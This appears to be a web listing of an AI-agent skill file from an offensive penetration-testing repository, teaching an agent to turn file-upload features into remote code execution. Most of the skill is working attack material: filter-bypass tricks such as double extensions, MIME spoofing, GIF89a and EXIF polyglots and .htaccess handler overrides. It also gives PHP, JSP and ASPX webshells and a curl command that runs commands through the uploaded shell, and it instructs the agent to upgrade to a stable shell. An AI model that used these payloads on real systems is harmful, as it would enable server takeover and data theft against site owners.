web-upload-rce
Skill884 starsChanged 4 months agoMITView on GitHub
File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name/type/content, or find where uploads land. Triggers - multipart upload form, avatar/profile picture, import/attachment, "invalid file type", uploaded file URL, /uploads/ path.
Files
File Upload → RCE
When this fires
Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.
Detect
- Upload a benign file, find WHERE it lands (response URL, predictable
/uploads/<name>, guess via ffuf). - Probe the filter: try
.php,.phtml,.php5,.phar,.jsp,.aspx— note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).
Decide — which bypass
- Extension blocklist →
.phtml/.php5/.phar/.pht; doubleshell.php.jpg; trailingshell.php%00.jpg(old); caseshell.PHP;.php.(Apache). - MIME check only → keep
.php, setContent-Type: image/png. - Magic-byte/content check → prepend
GIF89a;or valid image header, then PHP:GIF89a;<?php system($_GET['c']); ?>. Or embed in EXIF (exiftool -Comment='<?php ...?>' x.jpg). - Server config writable → upload
.htaccess(AddType application/x-httpd-php .jpg) then a.jpgwebshell. - SVG/XML upload → stored XSS or XXE (see web-xxe). Zip/import → path traversal (
../../) to write outside the upload dir.
Exploit → PROVE IMPACT
# minimal webshells
echo '<?php system($_GET["c"]); ?>' > shell.phtml # PHP
# JSP: <% Runtime.getRuntime().exec(request.getParameter("c")); %> ASPX: Process.Start("cmd","/c "+Request["c"])
curl 'http://<t>/uploads/shell.phtml?c=id' # execute → proveProof required: id/whoami from the uploaded shell (RCE). Then upgrade to a stable shell / record_artifact; drop markers where the engagement requires.
Tooling
ffuf to locate the upload dir; exiftool for magic-byte polyglots; nuclei -tags fileupload. Feed dir-discovery to gobuster_parse.
False positives / pitfalls
- Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.
- Antivirus/content scan strips shells → try polyglot + less-common handler extension.
- Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.
In this repository31 other files it gives its agents.
- AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- enumeration-phaseSkill
- exploitation-phaseSkill
- post-exploit-phaseSkill
- recon-phaseSkill
- reporting-phaseSkill
- vuln-assess-phaseSkill
- playbook-adSkill
- playbook-apiSkill
- playbook-cloudSkill
- playbook-methodologySkill
- playbook-social-engineeringSkill
- playbook-webappSkill
- svc-cicdSkill
- svc-databaseSkill
- svc-docker-k8sSkill
- svc-ftpSkill
- svc-mobile-androidSkill
- svc-mobile-iosSkill
- svc-pivotingSkill
- svc-smbSkill
- svc-sshSkill
- svc-web-serverSkill
- web-auth-bypass-idorSkill
- web-deserializationSkill
- web-lfi-traversalSkill
- web-sqliSkill
- web-ssrfSkill
- web-sstiSkill
- web-xxeSkill
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
Reviews can't be read right now.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

